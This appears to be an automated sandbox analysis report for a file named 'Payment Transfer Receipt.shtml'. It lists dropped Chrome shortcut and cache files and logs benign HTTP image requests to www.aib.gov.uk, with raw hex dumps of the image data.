Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Windows Analysis Report
Payment Transfer Receipt.shtml

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:00 UTC	650	OUT	GET /media/2vqjkb3r/subscribe_mail.png?width=735&height=413&rnd=133510085819070000 HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aib.gov.uk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:05:00 UTC	765	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:00 GMT Content-Type: image/png Content-Length: 31242 Connection: close Cache-Control: public, max-age=604800 ETag: "1da52b75509760a" Last-Modified: Mon, 29 Jan 2024 13:30:32 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170500Z-17d878cdc76xkjzm9uuvtz9nvg00000003fg00000000btbw x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:00 UTC	15619	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 df 00 00 01 9d 08 06 00 00 00 ca 72 1f 3e 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 79 bc 49 44 41 54 78 9c ec dd 07 7c 5c 57 9d 36 fe e7 4e 53 ef 96 5c 64 cb bd 25 8e 93 38 2e e9 09 81 84 34 20 09 84 b6 f4 be b0 2c fb 67 2b 2c bb 2c 2f 65 59 58 c8 ee 9b 05 5e 02 81 a5 84 90 40 7a 6f 8e 13 3b 6e 71 ef 5d b6 64 ab 59 bd 8c a6 de fb 3f bf 73 67 54 1c 17 49 96 ee dc 19 3d df 7c 14 ab cf e8 de 3b 73 9f 7b e6 77 7e c7 d7 db db 6b 81 88 88 88 88 88 c6 9c 0f 44 44 44 44 44 e4 08 86 6f 22 22 22 22 22 87 30 7c 13 11 11 11 11 39 84 e1 9b 88 88 88 88 c8 21 0c df 44 44 44 44 44 0e 61 f8 26 22 22 22 22 72 08 c3 37 11 11 11 11 91 43 18 be 89 88 88 88 88 1c c2 f0 4d 44 44 44 44 e4 10 86 Data Ascii: PNGIHDRr>pHYs+yIDATx\|\W6NS\d%8.4 ,g+,,/eYX^@zo;nq]dY?sgTI=\|;s{w~kDDDDDo"""""0\|9!DDDDDa&""""r7CMDDDD
2024-05-01 17:05:00 UTC	15623	IN	Data Raw: d4 3c ef 3e da 84 85 55 e5 7d df b7 62 66 21 fe f8 66 23 5a db 87 b1 c4 7c 62 e5 c9 5f af ac 45 79 be 1f 5f 7c db 54 4c 2f cb 1e d2 8f 1e 68 0c ea 51 f3 7d 75 3d a3 5e e7 9d 94 a3 42 ab 2c e6 13 18 30 a2 de d2 d1 8b 93 4d 9d d0 3b 4d fd a9 33 26 15 23 27 cb 3d a7 94 9e 70 1c c7 5a 7a f1 d0 a6 93 a8 28 08 20 c7 67 d8 1d 77 40 63 c2 48 4e ba e4 16 26 3a 17 f7 3c 53 12 b9 5d 0a 1a e6 8e b7 d3 98 95 ac 2f 2e cf c1 63 db 9a 71 55 57 54 85 d9 22 94 e4 b9 e3 a9 6a ca 84 02 cc 9c 58 ac 6b 9d e5 65 7d 29 bb d8 5b 73 72 d0 f7 ac 98 a5 ee 6f ae 1f 47 47 b2 f3 b2 7d f8 c1 53 d5 2a e0 7b f0 57 2a 80 4f 2c 0c 9c f5 db eb 3b c2 78 60 7d 03 9e dc d8 08 64 8d c1 45 8a f4 15 57 17 10 4b a6 15 a0 38 b7 7f 1f 74 05 c3 38 70 bc 59 66 58 ca 4c 54 bd e3 96 2f 9c 8a e2 bc a1 5d Data Ascii: <>U}bf!f#Z\|b_Ey_\|TL/hQ}u=^B,0M;M3&#'=pZz( gw@cHN&:<S]/.cqUWT"jXke})[sroGG}S{WO,;x`}dEWK8t8pYfXLT/]

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:01 UTC	664	OUT	GET /media/yu5atmon/pexels-mikhail-nilov-6964107.jpg?width=735&height=413&rnd=133470237582700000 HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aib.gov.uk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:05:01 UTC	766	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:01 GMT Content-Type: image/jpeg Content-Length: 40125 Connection: close Cache-Control: public, max-age=604800 ETag: "1da2ed03e0d1a3d" Last-Modified: Thu, 14 Dec 2023 20:58:09 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170501Z-17d878cdc76s5hj2n7pshy9v9g00000005vg000000003wzk x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:01 UTC	15618	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFHHXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 81 23 bf d4 74 c8 b5 dd 1b cb 5c 09 e2 f9 e1 6f 4d c3 38 fa 1c 91 f8 57 98 5e ab c7 33 c0 cb b5 d1 b0 ff 00 ec 9f 4a f4 8f 08 5f 7d a3 4f 82 5c f5 8f 63 fd 47 23 f9 9a cf f1 f6 86 64 8f fb 56 d5 79 5c 09 d4 0e a3 b3 7f 43 4a 1b f2 f7 14 f4 5c dd 8e 08 96 6c 01 f7 71 8a 46 90 c6 78 eb 4f 52 07 06 91 90 3f 6a ed 4b 95 59 1c 2e 5c ee ec 67 9e 1b ad 74 1a 34 01 a1 0e 45 73 6d 11 56 ae 8f 4a ba 11 5b 60 fa 51 64 c7 7e 52 cc 97 4e 93 6c 41 c0 a6 4d 76 c0 7c dd 6a 01 3a 3c c5 ba d4 37 b2 16 38 50 47 bd 25 41 36 1f 58 68 d0 b2 ba de e5 77 55 0d 64 4b f6 85 90 02 54 54 76 45 a3 9d 7b 83 5d 27 d9 e3 b8 80 33 00 4e 3a 50 d2 8e 83 4e 52 d4 e7 ed 22 0e 43 b0 03 eb 52 5f 5c 2e 36 21 ce 3a 01 56 6f 22 5b 68 ce 38 27 f4 ac 94 3b 9c b1 35 2e 7d 8b 51 ee 41 2c 04 fc cf d4 Data Ascii: #t\oM8W^3J_}O\cG#dVy\CJ\lqFxOR?jKY.\gt4EsmVJ[`Qd~RNlAMv\|j:<78PG%A6XhwUdKTTvE{]'3N:PNR"CR_\.6!:Vo"[h8';5.}QA,
2024-05-01 17:05:01 UTC	8123	IN	Data Raw: 81 05 88 f7 1d 6b 4a 74 a5 37 a1 13 a9 18 ee 5f d4 b5 eb 5b 29 04 31 13 34 a4 e3 6a 9a cc b9 f1 5c f6 6f 8b bb 0f 2c 1e 47 ce 39 ac bb cf b0 5b ea 02 d6 ee c2 4f 35 b0 c7 cb 66 e0 7a e2 aa db e9 02 e2 29 2e af e5 91 21 57 db 19 ce 40 1e e3 ad 75 ac 3c 12 39 1d 79 b7 a1 d1 41 e3 1b 49 23 de d0 4c a3 be 06 71 56 e3 f1 46 97 21 03 cf da 4f 66 18 ae 46 f7 36 56 1b 74 cb c5 b9 8e 76 28 ea ab d3 15 2e 93 a0 b2 5c ac d7 72 29 5c 64 01 cf 3e 98 34 3c 3c 3a 0d 62 26 76 71 6a 76 53 0c a4 f1 9f c6 ac 23 c5 27 dd 65 3f 46 ae 16 49 d1 a5 b9 b3 b7 b4 62 17 ef 32 76 3d b2 2a 7b 48 db 49 b1 4b 99 d9 0b 3e 37 29 6c 9f ca a3 ea ab a3 2d 62 5f 54 76 c1 3d 09 ad 4d 32 6f 32 13 6d 29 c9 5f ba 7d 45 79 bb eb 57 57 17 30 c3 a7 92 a1 86 77 ae 4f e9 5a b6 5a ec b0 c5 be 59 cb c9 Data Ascii: kJt7_[)14j\o,G9[O5fz).!W@u<9yAI#LqVF!OfF6Vtv(.\r)\d>4<<:b&vqjvS#'e?FIb2v=*{HIK>7)l-b_Tv=M2o2m)_}EyWW0wOZZY

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:01 UTC	668	OUT	GET /media/mknfraq2/pexels-andrea-piacquadio-3772618.jpg?width=735&height=413&rnd=133510833223370000 HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aib.gov.uk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:05:02 UTC	766	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:01 GMT Content-Type: image/jpeg Content-Length: 30040 Connection: close Cache-Control: public, max-age=604800 ETag: "1da2ed03d748558" Last-Modified: Thu, 14 Dec 2023 20:58:08 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170501Z-1744c668d97gw6jw5yyyvhsbgn000000056g00000000avac x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:02 UTC	15618	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFHHXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-05-01 17:05:02 UTC	14422	IN	Data Raw: aa 3f 08 d6 97 72 91 47 56 b7 86 53 fe 9f 6f b5 d7 a5 c4 3f 2b af f8 d6 15 d4 92 c1 18 0d 28 ba 80 f4 94 0c 11 fe f0 fe b5 d1 6a 73 f9 8a ca d8 6e 2b 96 be 02 3c ed ca 9e f4 e2 32 2f b5 2e 4a 83 c5 43 25 c9 1f 29 39 5a a1 26 62 25 93 91 dd 7f c2 91 66 12 2f 07 22 b4 b1 37 1d 70 a9 30 f9 b8 23 a3 55 62 59 38 7e 48 e8 7d 45 48 cc 41 f6 a8 9d ca 71 d5 4f 4f 6a a4 05 6b 9e 1b 77 6a 96 ce 7c 8d 87 a5 45 29 df 0d 57 8e 62 8c 08 fa 50 23 60 b6 c3 4a 39 eb d7 f9 54 21 b2 a0 83 93 dc d4 a8 d9 e0 75 a9 2d 03 0d a3 8e 73 54 37 9f ed 1f 62 9c 7e 75 71 ce f3 b5 79 1d c8 fe 55 4a e0 ed d4 20 c7 75 61 42 06 58 1f 7a a4 51 8a 8b 9c f7 fc 29 d8 24 67 1f 99 a0 63 9d c7 41 cd 47 93 f4 a7 e3 23 93 f9 71 4b 80 a3 8a 00 8f cb cf ff 00 5e 9a ea 31 cf 26 8b 8b a8 6d c7 ef 24 00 Data Ascii: ?rGVSo?+(jsn+<2/.JC%)9Z&b%f/"7p0#UbY8~H}EHAqOOjkwj\|E)WbP#`J9T!u-sT7b~uqyUJ uaBXzQ)$gcAG#qK^1&m$

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:01 UTC	612	OUT	GET /assets/images/icons/icons.stack.svg HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: image Referer: https://www.aib.gov.uk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:05:02 UTC	860	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:02 GMT Content-Type: image/svg+xml Content-Length: 4336 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding ETag: "1da549d2c427b70" Last-Modified: Wed, 31 Jan 2024 23:28:19 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170501Z-1744c668d97jfjtws255qaxmac00000002g000000000prfp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:02 UTC	4336	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 30 20 34 30 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 3a 72 6f 6f 74 3e 73 76 67 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 0a 20 20 20 20 7d 0a 0a 20 20 20 20 3a 72 6f 6f 74 3e 73 76 67 3a 74 61 72 67 65 74 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0a 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg viewBox="0 0 40 40" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <style> :root>svg { display: none } :root>svg:target { display: block } </style

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:01 UTC	598	OUT	GET /images/stock/ogl-logo.svg HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aib.gov.uk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:05:02 UTC	767	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:02 GMT Content-Type: image/svg+xml Content-Length: 946 Connection: close ETag: "1da549d10d76332" Last-Modified: Wed, 31 Jan 2024 23:27:33 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170501Z-1744c668d976qjxdq484t7zyp0000000051g00000000s5ew Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:02 UTC	946	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 64 61 74 61 2d 6e 61 6d 65 3d 22 4c 61 79 65 72 20 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 31 2e 39 38 20 31 32 2e 39 34 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 2e 63 6c 73 2d 31 20 7b 0a 20 20 20 20 20 20 20 20 66 69 6c 6c 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 2f 64 65 66 73 3e 0a 20 20 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 31.98 12.94"> <defs> <style> .cls-1 { fill: #333; stroke-width: 0px; } </style> </defs>

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:01 UTC	629	OUT	GET /media/5ypgeure/aa7e75eb-d6ca-4eca-b49a-d679e4f2870b.jpeg HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aib.gov.uk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:05:02 UTC	767	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:02 GMT Content-Type: image/jpeg Content-Length: 269917 Connection: close ETag: "1da2cf5a6505edd" Last-Modified: Tue, 12 Dec 2023 12:20:53 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170501Z-1744c668d97bbnnk2qqcn1pwdn0000000570000000009w87 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:02 UTC	15617	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 64 00 64 00 00 ff ed 00 5a 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 21 1c 01 5a 00 03 1b 25 47 1c 02 00 00 02 00 02 1c 02 74 00 0d 43 68 72 69 73 20 48 65 70 62 75 72 6e 00 38 42 49 4d 04 25 00 00 00 00 00 10 29 d6 e2 9c e3 bd 50 27 37 e5 8d 0e b0 76 dd d0 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 00 32 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 98 82 02 00 0e 00 00 00 1a 00 00 00 00 00 00 00 43 68 72 69 73 20 48 65 70 62 75 72 6e 00 00 00 ff e1 05 7d 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 Data Ascii: JFIFddZPhotoshop 3.08BIM!Z%GtChris Hepburn8BIM%)P'7vDucky<2ExifII*Chris Hepburn}http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzr
2024-05-01 17:05:02 UTC	16384	IN	Data Raw: f6 0c 03 41 3f a8 d3 8f 9e 28 25 b0 90 07 6a 0b e0 6e 7d ee d4 12 98 d2 bc e6 82 57 76 37 19 27 3d fc a8 12 5c 87 f5 79 a0 a1 63 6f 6e d4 0e ab a1 a4 72 4e 78 a0 54 fb 10 e0 73 c9 a0 49 50 ce 4f af 6a 07 1b 61 23 e3 9c 50 55 0c 03 be 28 12 11 01 b8 03 04 7e 54 ba 06 c6 9f a7 06 9a 26 86 af 39 e0 50 34 1f d6 18 a1 0c 6b 2f 7c 76 3c d0 45 09 57 6d 2b 1a 11 07 d4 d2 b1 73 60 55 c6 7d 7d 28 b2 90 d3 db 38 14 21 b3 ea f2 95 f2 c9 9f 63 40 d9 4e c0 1b 0d 02 a0 6d a0 01 e1 d0 14 03 18 a6 14 0d 9c 50 14 2d bf 0a 10 00 ae 39 a7 62 01 1f 0a 00 41 33 40 85 b6 84 c6 0d 94 ec 40 d9 45 80 0a 63 ca 8b 10 02 53 b1 d0 ed b4 58 50 36 d0 98 03 68 14 ec 28 5b 68 b1 50 b6 71 45 85 03 65 3b 0a 07 87 46 e0 a1 78 74 58 a8 5b 0d 3b 1d 0b c3 a2 c2 81 b0 62 8b 0a 06 c1 4e d0 81 b3 Data Ascii: A?(%jn}Wv7'=\yconrNxTsIPOja#PU(~T&9P4k/\|v<EWm+s`U}}(8!c@NmP-9bA3@@EcSXP6h([hPqEe;FxtX[;bN
2024-05-01 17:05:02 UTC	16384	IN	Data Raw: 9a 2c 43 7b 64 50 21 05 e7 d2 81 a4 0d bc 1a 48 08 c8 c7 95 30 43 40 27 e5 40 aa c5 b4 01 45 8a a8 5b 71 90 69 0e 81 b4 10 47 ad 2b 0a 1a 57 1d aa ac 0f d0 9c 57 e6 d6 7d d5 03 14 58 50 b1 de aa c4 37 6d 16 02 db 45 80 36 d3 4c 28 72 2d 26 c0 f9 93 da 92 96 d6 6f f0 4e 7e d3 85 23 24 67 c7 4f bd 8f 21 f1 af 43 1b e1 1c b9 55 74 79 64 90 95 ba 53 9d ad e3 5c 65 c8 e0 fb de 5c d7 42 67 23 5f ec 8e 79 63 03 fb bb dd 0b 98 9b 93 8e 7e ed 68 9d 11 3e 14 93 32 c2 6d b5 80 f0 3f 49 9c fd 1a 99 2f c9 9f 34 7b a4 bc 2d cf c7 fe 51 5a 2e 8c 9f 0f 83 33 51 81 09 b7 04 2f 24 f7 c9 a9 94 13 ec 3d 56 ba 65 5f d3 db 4b b2 09 a4 03 23 0b 9c af e0 68 8c 27 1e 60 e8 d2 39 a3 25 53 56 5e d2 ba b3 55 d2 a5 33 59 c9 24 53 0f f6 96 93 18 5b e7 90 69 c9 cd fd 49 31 c5 62 93 a8 Data Ascii: ,C{dP!H0C@'@E[qiG+WW}XP7mE6L(r-&oN~#$gO!CUtydS\e\Bg#_yc~h>2m?I/4{-QZ.3Q/$=Ve_K#h'`9%SV^U3Y$S[iI1b
